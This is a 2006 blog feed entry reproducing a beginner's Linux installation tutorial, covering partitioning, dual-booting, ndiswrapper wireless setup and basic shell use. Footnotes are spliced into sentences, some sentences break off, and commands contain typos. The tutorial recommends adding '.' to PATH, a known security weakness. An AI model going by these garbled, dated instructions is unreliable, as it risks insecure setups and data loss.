&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115795887939889684?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.protectorplus.com/virusinfo/worms/strationg.htm' title='Virus Emergency Response'/><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115795887939889684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115795887939889684&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115795887939889684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115795887939889684'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/virus-emergency-response.html' title='Virus Emergency Response'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115771831860583372</id><published>2006-09-08T18:21:00.000+07:00</published><updated>2006-09-08T19:25:23.736+07:00</updated><title type='text'>Installing and Using Linux</title><content type='html'>&lt;strong&gt;Overview&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;Background Needed&lt;br/&gt;&lt;br/&gt;        I have tailored the material here to beginners. No special sophistication in computers is needed. Any Microsoft Windows user who, say, understands the difference between the C: and A: drives should be able to understand the instructions here and install Linux in an hour’s time. (Do not be intimidated by the length of this document; you probably will not have to use most of it.)&lt;br/&gt;&lt;br/&gt;What Is Linux?&lt;br/&gt;Linux is a form of the Unix operating system. Though originally Unix was used mainly by engineers and scientists and thus was not very familiar to the general public, a lot of what you take for granted on computer systems today began in Unix. A notable example is the Internet—the first major operating system to implement the TCP/IP protocol at the heart of the Internet was Unix, and that led to the general acceptance of the protocol.&lt;br/&gt;&lt;br/&gt;In the early 1990s, computer science student Linus Torvalds decided to write his own version of Unix, which he called Linux. Other "homegrown" versions of Unix had been written, such as MINIX, but what distinguished Linux was the scale of worldwide participation involved. Torvalds innocently put a message on the Internet asking if anyone wanted to help, and he got a torrent of responses.&lt;br/&gt;&lt;br/&gt;There are a several reasons why Linux is mainstream today. First, it became known as a very reliable, stable operating system, with one result being that Linux has become a major platform for large corporate Web servers. Another reason is that it, and the software associated with it developed elsewhere, is free. Many companies have found that it is cheaper to run Linux on their PCs, both for this reason and because of reduced maintenance costs.&lt;br/&gt;&lt;br/&gt;There are several good reasons for you to use Linux:&lt;br/&gt;&lt;br/&gt;• As mentioned, Linux is becoming one of the "hottest" software systems. Virtually all of the major companies—IBM, HP, Sun Microsystems, etc.—are promoting it, and Linux is a leading corporate choice for Web servers. Linux is the main operating system used at .&lt;br/&gt;&lt;br/&gt;• Linux is also starting to make inroads in large desktop markets, such as businesses, schools and so on, due to its high reliability, lower rate of infection by viruses and the like, and its low cost.&lt;br/&gt;&lt;br/&gt;• The Linux community shares. That means that people online are much more willing to help you (see Section 7.2), and more open source software is available. if you are a university computer science student, there are some very important additional advantages:&lt;br/&gt;&lt;br/&gt;• Many CS courses make specific use of Unix, and thus their work cannot be done on Windows platforms. Since it is a full Unix system, Linux allows students to do their homework in the comfort of their own homes. If you are new to Unix, click here for my Unix tutorial Web page at&lt;br/&gt;&lt;br/&gt;Unix file and directory commands, and so on.&lt;br/&gt;• In installing and using Linux, students learn many practical things about computers which they do not learn in coursework. This practical experience can also help you in job interviews, both for permanent jobs after graduation and for summer jobs and co-ops during your college years. Even if the job you interview for does not involve Unix, you will definitely impress the interviewer if, for example, you discuss various things you have done to use and customize your Linux system.&lt;br/&gt;&lt;br/&gt;Obtaining Linux&lt;br/&gt;&lt;br/&gt;The Concept of Linux Distributions&lt;br/&gt;There are many different Linux distributions, meaning packagings, "distros" in Linux geek language. The  distribution consists of the operating system kernel itself, an installation program, and various applications.  Though Linux itself is free, some distributions are commercial products, such as Red Hat, Mandriva and SUSE.1 However, some of these companies, such as SUSE, make available full or partial versions for free on the Web. Others are completely free, such as Fedora Core (a project of Red Hat), Ubuntu, Debian and Slackware.&lt;br/&gt;A major advantage of Mandrake, SUSE and Ubuntu, among others, is that they automatically do the disk partitioning2 for you.&lt;br/&gt;Free Linux distributions may be downloaded from the Web (see Section 2.3), or may be obtained as DVDs in Linux books which you can purchase at your local bookstore. The latter is a very common method. For example, a number of books can be found in almost any bookstore on Fedora Linux.3 By purchasing such a book, one obtains both the software and a large reference book. By the way, if you want the disk partitioning to be done automatically, there are books available for Mandrake, SUSE and Ubuntu.&lt;br/&gt;I tend to use Fedora, but I have also used Red Hat, Mandrake and (long ago) Slackware and was pleased with them. SUSE, Debian and increasingly Ubuntu have some very enthusiastic followers too.4 All the major ones are good.&lt;br/&gt;&lt;br/&gt;Live-CD Linux Distributions&lt;br/&gt;A more recent concept in Linux distributions is that of live CD distribution. Here the entire Linux package is on a bootable CD-ROM. The user boots the computer with the CD in the drive, and then Linux boots up.&lt;br/&gt;The advantage of this approach is that one does not involve the disk partitioning, a sometimes difficult process. One is using Linux without actually installing it, and in particular without changing the disk partitioning.&lt;br/&gt;A disadvantage is that it does not allow one’s application programs to save files to the hard drive, unless one has already split the Windows partition, defeating much of the purpose. One can save files to a USB key (in the directory /mnt/usbstorage or something like that; look in /mnt, /media etc.).&lt;br/&gt;That makes the approach ideal for those who wish to just try Linux for a short period of time, but not so 1SUSE, pronounced "Soos-ee" by Linux geeks, formerly was written as SuSE.&lt;br/&gt;&lt;br/&gt;Discussed in Section &lt;br/&gt;As of this writing in July 2006, the newest is Fedora Core 5.&lt;br/&gt;I am tempted to use the word "cult-like" in describing Debian’s adherents. :-)&lt;br/&gt;useful for long-term use, The first well-known live-CD distribution was Knoppix, but there are many others today, such as the Slax variant of Slackware. Again, these are downloadable from the Web.&lt;br/&gt;If you use the live-CD approach, you may of course skip Section 3 of this tutorial.&lt;br/&gt;&lt;br/&gt;Downloading from the Web&lt;br/&gt;The free distributions, and even some of the commercial ones, are freely downloadable from the Web.&lt;br/&gt;Since URLs change frequently, I’ve chosen not to put many hard links here. One I will give is http://www.linuxiso.org/, a central repository of most standard distributions. Or simply use Google, e.g. plugging in search terms such as "Fedora Linux download," "Mandrake Linux download," "Slackware Live CD" and so on.&lt;br/&gt;Note that this is a lengthy process. I strongly recommend obtaining a DVD from some other source.&lt;br/&gt;Important notes: If you download Linux from theWeb and burn it to CDs or DVDs, make sure that you burn the ISO images, as opposed to copying the ISO file as you would in, say, a backup operation. Your burner software should have a choice in its menu for this. Also, later when you install, if your Linux distribution asks you if you want to do a validity check of your CDs or DVDs before installing, say yes!&lt;br/&gt;&lt;br/&gt;Installing Linux&lt;br/&gt;Assumptions&lt;br/&gt;Generality/Specificity of Coverage&lt;br/&gt;This part of the tutorial will not go into the details for installing one particular distribution. That would be impractical, since the details for any one distribution often change substantially from one release to the next. So instead, this section on installation will discuss the major points you should watch for during the procedure. It will sometimes use Fedora/Red Hat and Mandrake as examples for concreteness, but the principles should be similar for most other distributions.&lt;br/&gt;&lt;br/&gt;Your Machine&lt;br/&gt;It is assumed that you have an Intel-compatible desktop or notebook, with a bootable CD-ROM or DVD drive. You should have at least 128M of RAM. I recommend that you have at least 10G of disk space available for Linux, though 5G would probably be enough.&lt;br/&gt;The latter condition should hold for almost any machine bought in the last five or six years. One other point, though, is that the boot priority should be set so that the machine tries to boot from CD-ROM or DVD before trying to boot from the hard drive.&lt;br/&gt;Your machine probably already does this, but if not, you can reset the BIOS to do so. Consult your manual on this, or ask at any computer store.&lt;br/&gt;&lt;br/&gt;Determine Your Hardware Details&lt;br/&gt;The Linux installation program will be able to sense most of your hardware information. So, you can probably skip this section. But if you want to take about five minutes extra time here, it could be helpful later if you write down some of your hardware types before beginning installation. To check your hardware from Windows, go to My Computer, then System. Click General to get the amount of RAM and CPU type. Then go to Device Manager, and click on the ‘+’ next to each component, e.g. "Disk drives," "Display adapters" and so on. Write down the information, including your hard drive type, such as IDE; your video card make and model; your monitor make and model; the type of connection used for your mouse, such as PS/2; the make and model of your printer; etc.&lt;br/&gt;Do you still have the manual which came with your monitor? If so, check the specs in the back, and write down the horizontal sync and vertical refresh rate, and the make and model.&lt;br/&gt;&lt;br/&gt;Partioning Your Hard Drive&lt;br/&gt;As mentioned earlier, some Linux distros, such as Mandrake, SUSE and Ubuntu, automatically do the disk partitioning for you. This is a major advantage, as partitioning is a vital but delicate operation. Later in this section, I’ll give you some options to use if you have a distro that does not do automatic partitioning. But I do suggest that even if you will have automatic partitioning done, it would still be worthwhile for you to read Section.&lt;br/&gt;&lt;br/&gt;What Is Partitioning?&lt;br/&gt;Any hard drive will consist of one or more partitions. Each operating system you run on your computer occupies one or more partitions on that hard drive. So, you will need at least one partition for Windows and one (actually two) for Linux.&lt;br/&gt;&lt;br/&gt;In Linux terminology, your entire first hard drive is called /dev/hda,6 and partitions within it are called /dev/hda1, /dev/hda2 and so on. Your original Windows single partition was /dev/hda. The notation for your second hard drive, if you have one, will be /dev/hdb, with partitions within it named /dev/hdb1, /dev/hdb2 etc. Your first SCSI disk, if any, is /dev/sda, etc.&lt;br/&gt;&lt;br/&gt;Before You Do the Partitioning&lt;br/&gt;You really ought to run Windows’ chkdsk command first, in case you have any bad sectors on your hard drive.&lt;br/&gt;&lt;br/&gt;Options for Partitioning&lt;br/&gt;The problem is that almost all PCs sold today have been set up with only one partition, so that Windows occupies the entire hard drive. Of course, the vast majority of that space is initially empty, so there is plenty Actually, /dev is the name of a directory, and hda etc. are considered "files" in that directory. In Unix systems, all I/O devices are treated as files.&lt;br/&gt;This is typical, but not universal. of room for Linux, as long as you shrink the original single partition, which is what you will have to do.&lt;br/&gt;This is one of the two big issues with Linux installation. What options do you have?&lt;br/&gt;• As mentioned earlier, one option would be to choose a distribution which does the shrinking for you automatically, such as Mandrake, SUSE or Ubuntu. Note that that does not force you to actually use that distribution; you can install it just to get the partitioning, and then replace it with, say, Fedora, if you wish, now that the shrinking is done.&lt;br/&gt;• Another option would be to use the free ntfsresize program, getting access to it by temporarily running some live CD. For example, you can do this with Knoppix.&lt;br/&gt;This is a fairly simple process, taking only two or three steps, but be absolutely sure to follow the instructions to the letter, to avoid causing data loss problems in your Windows partition.8 A summary of the steps is as follows&lt;br/&gt;After booting the live CD, open a terminal shell window in which you are logged in as root and type something like ntfsresize -s 16G /dev/hda1 which says to shrink your Windows partition10 to 16 gigabytes in size.11 Make sure you write down the new size.&lt;br/&gt;Then you must run Linux’s fdisk (or cfdisk) to complete the actual partition change. Type&lt;br/&gt;fdisk /dev/hda&lt;br/&gt;Then delete theWindows partition /dev/hda1 using the d command, and use the n command to create a new partition (i) of the same size or greater, (ii) of type NTFS and (iii) bootable. (Make SURE you address all three of these aspects carefully.) Since you deleted /dev/hda1, thus leaving you with no partitions at all, the new one will again be /dev/hda1, thus leaving Windows undisturbed. Use the w command to save the new partition structure and exit.&lt;br/&gt;Then reboot into Windows, to make sure everything is OK. A disk check will be done automatically.&lt;br/&gt;• A better alternative than direct use of ntfsresize as described above is to run QtParted, available with Knoppix and some other live CDs. It will run ntfsresize and fdisk (or a substitute) by itself, alleviating you of the need to get into the details.&lt;br/&gt;• Get a commercial program to do the splitting, such as PartitionMagic, PartitionIt or BootIt. The latter offers a free trial period, which may be all you need.&lt;br/&gt;Before you start, give some thought as to how much of the original partition you want to keep for Windows and how much you want to leave for Linux. If you plan to become a serious Linux user, you’ll want to allocate at least half of the space for Linux.&lt;br/&gt;Note that the next option below, using QtParted, automates the process for you. You may prefer it over direct use of ntfsresize This is adapted from http://www.copyleft.co.nz/install-prnt.html, though I have not included creation of an extra Windows FAT32 partition, which is not related to the issue of shrinking.&lt;br/&gt;More accurately, shrink the file system.&lt;br/&gt;If ntfsresize says it can’t shrink your Windows partition, you may need to go back to Windows and run its defragment facility. And as mentioned in Section 7.1, if you want to learn Linux, the only way to do it is to become a serious user.&lt;br/&gt;&lt;br/&gt;The Installation Process&lt;br/&gt;By the way, if you are upgrading or replacing another version or distribution of Linux, before beginning. Put your Linux CD-ROM or DVD in the drive, and reboot. The installation program should begin.&lt;br/&gt;During the installation process, you will at various points be asked to make choices. Often you will probably take the default, but here are some things you might consider:&lt;br/&gt;• Some distributions will give you a choice of several installation types, which vary in terms of what kinds of application software will be installed. For instance, Fedora/Red Hat offers you a choice of Personal Desktop, Workstation, Server and Custom installations. If you are a CS student, you need at least Workstation.&lt;br/&gt;But since most people now have plenty of disk space, it is easier to simply ask for everything. In Fedora/Red Hat, for instance, ask for Custom and then check everything there. Again, if you are a CS student, at least make sure you are enabling software development (compilers, editors, etc.).&lt;br/&gt;Note that you can always add more applications later on, though the process might not be so easy. Also, if you are asked what additional language support you want besides English, and you do want some other languages, NOWis the time to say so. You need this support for special fonts (e.g. Chinese characters), so get it now. Again, it may not be so easy to do later.&lt;br/&gt;• Using the space liberated by shrinking your original Windows partition, the installation process will create two new partitions, one root and one swap, for your system files and virtual memory disk space, respectively. Again, if you are given the choice of having this done for you automatically, I suggest taking this option, unless you are familiar with the concepts.&lt;br/&gt;• Assuming you’ll want a dual-boot system, i.e. you’ll be having bothWindows and Linux available for booting, you need some sort of boot loader. This is a program which upon powerup of your computer will ask you which OS you wish to boot at that time. Your distribution may use the GRUB boot loader, or maybe LILO or others. It doesn’t matter that much for a beginner, but definitely indicate that you want to be able to boot both OSs. Take the defaults for everything else, e.g. the choice of bootloader program (LILO, GRUB, etc.).&lt;br/&gt;• If you’re asked whether you want 3-button mouse emulation, say yes. It helps in cut-and-paste operations.&lt;br/&gt;• GUI ("graphical user intrface") desktop manager: The two most widely-used GUI desktop managers for Linux are KDE and Gnome. Each has its band of devoted followers. It really doesn’t matter which one you choose for new users, and you can always switch later if desired. Choose one (or both).&lt;br/&gt;• You may be asked whether you wish to X11 windows GUI to come up automatically at bootup. You’ll probably want to answer yes. If not, you must change the BIOS settings to make the CD-ROMbootable (and the first device checked during the boot process); see your computer’s manual on how to do this. By the way, don’t be worried if the installation assigns noncontiguous names for the partitions. If your Windows partition is /dev/hda1, your Linux partitions could be, say, /dev/hda5 and /dev/hda7 If you do not choose this, most distributions set things up so that you can start the GUI from the text command line via the startx command.&lt;br/&gt;• I mentioned earlier that disk partitioning has over the years been one of the two major issues in Linux installation. The other has been configuring for the video card and monitor.&lt;br/&gt;With today’s modern Linux installation programs, this is typically not a problem. They are pretty good at identifying your video card, and guessing good settings to use. Typically they will give you a chance to test those settings out before continuing with the installation process, with a test image. My experience has generally been that that is sufficient.&lt;br/&gt;If that image does not turn out well, the installation program will typically give you a chance to state the make and model of your video card, and horizontal sync, vertical refresh rate, and make and model of your monitor. That is why I asked earlier if you still have the manual for your monitor. (On a laptop, though, you often don’t have this information, since its monitor is built in.)&lt;br/&gt;By the way, once a configuration has been decided on, it will be saved to a file. This is typically /etc/X11/XF86Config You can look at this if you are curious as to what configuration the installer has chosen for you.&lt;br/&gt;• If you have an Ethernet card, configuration will probably be automatic. You may be asked if your machine has a static Internet address. In most cases, the answer will be no; you probably get a dynamic Internet addres, using a protocol named DHCP. You may asked what your domain name is; if you don’t know, then you probably don’t have one, and in your setting you can just make one up.&lt;br/&gt;&lt;br/&gt;Post-Installation Configuration&lt;br/&gt;This section describes some further steps I recommend taking after your installation is finished, of two kinds:&lt;br/&gt;• There are some "extras" which would be nice to configure into your system after installing it.&lt;br/&gt;• Your installation program may run into some problems and decide to skip part of the installation. An example of the latter situation might be that your installation program finds that it does not have a driver for your wireless card, and thus does not enable wireless. Without wireless, you could still work but not as well, and for those of you whose goal is to become adept at Linux, having a "full" Linux machine is a must. Indeed, going through the process of filling in the gaps will be your best Linux learning experiences of all.&lt;br/&gt;&lt;br/&gt;Help in Hardware Configuration&lt;br/&gt;Having trouble getting some hardware component to work under Linux? I’ll have some tips on that below, but keep in mind that a great source is the Web. Plug something like "Linux install HP ZE4901" (if that’s the machine you own) into Google, and you’ll find a number of reports of experiences by other people with&lt;br/&gt;&lt;br/&gt;your machine.&lt;br/&gt;&lt;br/&gt;Configuring Your Search Path ("Why can’t I run my a.out?")&lt;br/&gt;&lt;br/&gt;Most Linux distributions do not include your current directory, ‘.’, in the PATH variable. Thus if for example&lt;br/&gt;&lt;br/&gt;you compile a program and then type&lt;br/&gt;&lt;br/&gt;a.out&lt;br/&gt;&lt;br/&gt;the shell may tell you that a.out is not found. You can get around this by explicitly specifying the current&lt;br/&gt;&lt;br/&gt;directory,&lt;br/&gt;&lt;br/&gt;./a.out&lt;br/&gt;&lt;br/&gt;but this is inconvenient.&lt;br/&gt;&lt;br/&gt;To remedy this problem more directly in the case of the BASH shell (the default shell for most distributions),&lt;br/&gt;&lt;br/&gt;edit the file /.bash profile In the line which sets PATH, append ":." (a colon and a dot) at the end of the&lt;br/&gt;&lt;br/&gt;line, with no intervening spaces. Then log out and log in again, or do&lt;br/&gt;&lt;br/&gt;source ˜/.bash_profile&lt;br/&gt;&lt;br/&gt;Configuring a Printer&lt;br/&gt;&lt;br/&gt;Your Linux distribution should have some program to help you configure your printer if something went&lt;br/&gt;&lt;br/&gt;wrong during installation. For example, Fedora/Red Hat has the printtool program.&lt;br/&gt;&lt;br/&gt;In an "emergency," you can print Postscript files without the usual process machinery (e.g. lpd print daemon).&lt;br/&gt;&lt;br/&gt;Say the file name is x.ps and you have an HP Laserjet 4 printer. Then type&lt;br/&gt;&lt;br/&gt;gs -dNOPAUSE -sDEVICE=ljet4 -sOutputFile = - x.ps &gt; /dev/lp0&lt;br/&gt;&lt;br/&gt;Specifying ‘-’ as the output file means stdout.&lt;br/&gt;&lt;br/&gt;Wireless Networking&lt;br/&gt;&lt;br/&gt;Device Compatibility&lt;br/&gt;&lt;br/&gt;Some wireless network cards commonly sold with PCs today do not have direct Linux drivers available.&lt;br/&gt;&lt;br/&gt;However, there is a very clever workaround, ndiswrapper. It takes the Windows driver for the card, and&lt;br/&gt;&lt;br/&gt;converts the Windows-dependent aspects16&lt;br/&gt;&lt;br/&gt;Here is how I got my wireless card working under Fedora 3 and 4:&lt;br/&gt;&lt;br/&gt;• You’ll need to have the kernel sources installed. The ndiswrapper file INSTALL suggests running&lt;br/&gt;&lt;br/&gt;ls /lib/modules/‘uname -r‘/build&lt;br/&gt;&lt;br/&gt;to check whether the proper files are there.17&lt;br/&gt;&lt;br/&gt;If you don’t have the files, you’ll need to either get them from the CDs or DVD that you installed&lt;br/&gt;&lt;br/&gt;Linux from, or download them. Either way, put them in the proper subdirectory of /usr/src and then&lt;br/&gt;&lt;br/&gt;make a link, as described in the Wiki cited below.&lt;br/&gt;&lt;br/&gt;16Note that Intel machine language is Intel machine language, whether underWindows or Linux. So, most of theWindows driver&lt;br/&gt;&lt;br/&gt;applies directly to Linux.&lt;br/&gt;&lt;br/&gt;17Note the reverse apostrophes, which run the command uname -r, which returns the version of the kernel.&lt;br/&gt;&lt;br/&gt;• I downloaded the source of ndiswrapper from the home page, http://ndiswrapper.sourceforge.&lt;br/&gt;&lt;br/&gt;net/. I then followed the instructions on installation at that page (click on Wiki | Installation).&lt;br/&gt;&lt;br/&gt;• I installed it, following the simple instructions.&lt;br/&gt;&lt;br/&gt;• I determined which wireless card I had (Broadcom), both by running dmesg and lspci under Linux, and by exploring under Windows.&lt;br/&gt;• I obtained the driver files for my Broadcom wireless card. Windows said that it was using bcmwl5.sys for this card. I downloaded bcmwl5.sys and bcmwl5.inf from the ndiswrapper home page. I also&lt;br/&gt;got bcmwl5.sys from my Windows partition, in my case at&lt;br/&gt;c:\windows\system32\drivers\bcmwl5.sys&lt;br/&gt;(that’s an "ell," not a "one," before the 5) and found that it was different from the one I had downloaded.&lt;br/&gt;It later turned out that the downloaded one was wrong, though bcmwl5.inf was all right.&lt;br/&gt;• I put the various .sys and .inf files into the same directory, as requested.&lt;br/&gt;• I installed the driver, by typing&lt;br/&gt;ndiswrapper -i bcmwl5.inf in that directory.&lt;br/&gt;This created the directory /etc/ndiswrapper/bcmwl5, with the .inf, .sys and other files there.18&lt;br/&gt;• As a check that the driver was installed, I typed&lt;br/&gt;&lt;br/&gt;ndiswrapper -l That got everything installed. Now, each time I boot up,19, I will type modprobe ndiswrapper  dhpclient The first command automatically sets up a wlan0, and the wireless card starts working, e.g. scanning for wireless access points. The second command starts up the DHCP client, so that my machine will accept an IP address assigned by a wireless access point.&lt;br/&gt;Useful commands are iwconfig, ifconfig, iwlist (with the scanning option) and dmesg. For example, to select a particular wireless access point named X, type&lt;br/&gt;iwconfig wlan0 "X"&lt;br/&gt;(Do this BEFORE running dhclient.)&lt;br/&gt;If I ever want to delete it, I will type&lt;br/&gt;ndiswrapper -e bcmwl5&lt;br/&gt;I can automate this if I wish.&lt;br/&gt;Other Considerations&lt;br/&gt;I found in one wireless site that there seemed to be a problem with DNS, the system that translates "English" addresses like wwww.google.com to their numerical counterparts, e.g. 66.102.7.104. If you find that the former fails but the latter works, you probably have a DNS problem.&lt;br/&gt;One way to handle this would be to configure your machine to have a secondary DNS site. You can use one given to you by your ISP, for instance. To add it, use the network configuration tool in your Linux distro.&lt;br/&gt;For example, under Fedora and GNOME, select Applications | System Tools | Redhat Network.&lt;br/&gt;Configuring KDE/GNOME for Convenient Window Operations&lt;br/&gt;You should find that windowing operations are generally easier in Unix systems than in Windows, in the sense of requiring fewer mouse clicks, if you set things up that way. Personally, I find it annoying in Windows that, when I switch from one window to another, I need to click on that second window. In most Unix windowing systems, all I have to do is simply move the mouse to the second window, without clicking on it. The term for this is focus follows mouse, and we can configure most Unix windowing systems to do this.&lt;br/&gt;Also when I move from one window to another, I want the second one to "come out of hiding" and be fully exposed on the screen. This is called autoraise, and can be configured too.&lt;br/&gt;You can arrange this configuration in less than one minute’s time. Again, the exact configuration steps will vary from GNOME to KDE, and from one version to another within those systems, so I can’t give you the general steps here but here is how it works on a Fedora 3/GNOME system: click Applications | Preferences&lt;br/&gt;|Windows, and check SelectWindows When the Mouse Moves Over Them (this may be referred to as focus on your system) and Raise Selected Windows After an Interval (this may be referred as autoraise). I move the slider for the latter all the way to the left, for 0.0 seconds.&lt;br/&gt;Some Points on Linux Usage&lt;br/&gt;Linux Start Icon&lt;br/&gt;Since there are various Linux distros and GUIs, there is no single Linux analog of Windows’ Start icon. It can be the red hat under Red Hat or Fedora, the "K wheel" icon in KDE, etc. It doesn’t matter, though. Just become familiar with the one on your system.&lt;br/&gt;Logging Out and Shutting Down&lt;br/&gt;To log out, go to your Linux start icon (see Section 5.1), and choose Log Out from the menu. (Or, in Fedora/Red Hat, click on Desktop.)&lt;br/&gt;You should then be presented with various choices, including Shutdown. If you choose the latter, note that with some Linux distros, at the end of the shutdown sequence you have to manually take action when it says Power Down. To do this, hold the On key on your machine down for four seconds.&lt;br/&gt;More on Shells/Terminal Windows&lt;br/&gt;In Microsoft Windows, most work done by most users is through a Graphical User Interface (GUI), rather than in a command window (Start | Run | cmd). In Linux, a lot of work is done via GUIs but also it is frequently handier to use a command window, called a terminal window. You should always keep two or three terminal windows on your screen for various tasks that might arise.&lt;br/&gt;You can start a terminal window by going to your Linux start icon (see Section 5.1). The menu may have a Terminal entry, or you may have to go to something like System Tools. Another alternative you may have is to right-click in the background of your screen, and choose Terminal or something like that from the resulting menu. By the way, you may be given a choice of several terminal types, say gnome-term, xterm etc., but it doesn’t much matter which one you choose.&lt;br/&gt;When you type commands in a terminal window, the program which reads and acts. The default shell in Linux is bash. It is very good, but if you are used to using, say, tcsh,21 you can use the chsh command in any terminal window to change your login shell.&lt;br/&gt;Cut-and-Paste Window Operations The X11 windowing system used in Unix has its roots in 3-button mice, but you probably have only a button mouse. That’s no problem, because Linux does 3-button emulation for you. The middle button is emulated by simultaneously clicking both left and right buttons.&lt;br/&gt;To do a cut-and-paste operations, hold down the left mouse button and drag it to highlight the text you wish to copy. Then go to the place you wish to copy that text, and simultaneously push both the left and right buttons.&lt;br/&gt;Using Your DVD/CD-ROM and Floppy Drive from Linux&lt;br/&gt;Mount Points&lt;br/&gt;These days most Linux distributions have a designated directory at which file systems form DVD/CDROMs, floppy disks, etc. can be accessed. This will vary from one distribution to another, but typical directory names are /mnt, /media etc., with subdirectory names like /mnt/cdrom, /mnt/cdrom1, /mnt/floppy, /media/cdrecorder.&lt;br/&gt;Check /etc/fstab if you can’t find the mount point. This file controls which file systems are mounted at boot time. Even if you are not familiar with this file, it should give you an idea as to where devices like CD-ROMs are automatically mounted at boot time, by looking for an entry marked auto in the file.&lt;br/&gt;If the device is not automatically mounted, you have to use the Unix mount command to access it. For You may like gnome-term because it is more easily configurable, as to colors, size, etc.&lt;br/&gt;Or if you want to use my shell tutorials, mentioned above.&lt;br/&gt;example, say your CD-ROM drive subdirectory is /mnt/cdrom. Put the CD-ROM in the tray, and then type in a terminal window mount /mnt/cdrom&lt;br/&gt;A file system will then be created with root /mnt/cdrom, containing the CD-ROM’s files.22&lt;br/&gt;When you are done using the DVD/CD-ROM, you need to unmount it. Leave the /mnt/cdrom subdirectory and type either eject (which will also open the tray) or umount /cdrom before attempting to remove the CD-ROM. If you have any trouble (you shouldn’t, but just "if"), then reboot the machine.&lt;br/&gt;You can check what is currently mounted by running the df command from a shell window (another good Linux learning experience).&lt;br/&gt;&lt;br/&gt;CD Burning&lt;br/&gt;There are various free fancy Linux programs for this, but I prefer to use the plain cdrecord command, included with most Linux distributions.&lt;br/&gt;To burn a data CD, you’ll need it to be in ISO form. In some cases, e.g. where you download material from the Web which you want to burn into a CD, you may already have an ISO file, i.e. with .iso suffix in its name.&lt;br/&gt;If not, then first put all your data in some directory, say x. Then make an ISO file from it, say named y.iso:&lt;br/&gt;mkisofs -r -o y.iso x&lt;br/&gt;Put a blank CD in the tray. (Do NOT mount it, as it has no file system to mount.) Then log in as root. Your CD device number might not be 0,0 (or 0,0,0; the first 0 may be omitted in certain cases). Type cdrecord -scanbus to find out.&lt;br/&gt;Now burn the file:&lt;br/&gt;Basically, you have added a new file system to whatever you have on disk, except that these files are on the CD, not on disk.&lt;br/&gt;As a learning experiment, try running the df command before and after the mount, and compare.&lt;br/&gt;By the way I’m assuming here that it is a data CD, not audio. For audio CDs, you don’t mount, since there are no files, thus no file system to set up. Instead, use other programs, e.g. gnome-cd. You can then access the files in the same way you do disk files.&lt;br/&gt;DVDs, though, do have files, and thus must be mounted.&lt;br/&gt;cdrecord -eject -v -isosize speed=2 dev=0,0 y.iso&lt;br/&gt;A speed of 2 is very conservative, maximizing the chance that the burn has no errors. If you wish, try omitting the speed field in your command, and cdrecord may choose a higher speed.&lt;br/&gt;A similar dvdrecord command exists for burning DVDs.&lt;br/&gt;If an Emergency Arises&lt;br/&gt;The Linux OS itself is highly stable, but an application program might contain a bug that makes the program freeze up. What can you do?&lt;br/&gt;First of course there is Ctrl-C, typed into the window from which you invoked the program. Assuming you didn’t run the program as a background job (i.e. used an ampersand at the end of the line in which you invokved it), this is likely to work. The authors of some programs, though, have this feature assigned to some other functionality than program termination.&lt;br/&gt;Next, you can try killing the process via the kill command. First look up the process number, by typing ps ax&lt;br/&gt;Say for instance it is 2288. Then type&lt;br/&gt;kill -9 2288&lt;br/&gt;A more direct way is to use pkill, say as&lt;br/&gt;pkill -9 x&lt;br/&gt;where x is the name of the program being run. (Warning: This will result in all processes of that name being killed.)&lt;br/&gt;What if your program has taken over the entire screen, so you can’t get to a window to kill the program? One solution would be to hit Alt F2, which will bring up a little window in which you can run a command, say pkill as above. Another solution would be to switch to another workspace, i.e. an entirely different (virtual) screen. You have four of them if you are running KDE or GNOME. In the former case, hit Ctrl-Alt-Right Arrow and in the latter case, Ctrl-F2. Set up a terminal window if you don’t already have one in that workspace, run pkill or whatever, and then Ctrl-Alt-Left Arrow or Ctrl-F1, respectively, to return to your original workspace.&lt;br/&gt; A more drastic solution would be to close down KDE or GNOME entirely, by typing Ctrl-Alt-Backspace.&lt;br/&gt;After that the login prompt will come up, and you can re-login. However, all your windows and applications that had been running will now be gone.&lt;br/&gt;Try NOT to simply poweroff the machine, as that may do damage to your files.&lt;br/&gt;Linux Applications Software&lt;br/&gt;GUI Vs. Text-Based&lt;br/&gt;Sophisticated Linux users tend to use text-based applications, rather than GUI ones, even though excellent&lt;br/&gt;GUI applications are available. For instance, I and many others like the mutt e-mail utility  &lt;br/&gt;which is text-based. Here’s why, at least in my view:&lt;br/&gt;• I often access my Linux machine remotely, while traveling.23 I might be at a university library, for instance, or at the business center in a hotel, and be "stuck" with a Windows machine, and logging in to my Linux machine via an SSH connection.24 This limits me to text.&lt;br/&gt;• It’s very important to me that I use the same text editor for all my computer applications—e-mail, programming, word processing, etc.—so that I can take advantage of all the abbreviations, shortcuts and so on which I have built up over the years. This saves me huge amounts of typing. But most GUI applications, e.g. e-mail utilities, have their own built-in text editors, so I can’t use 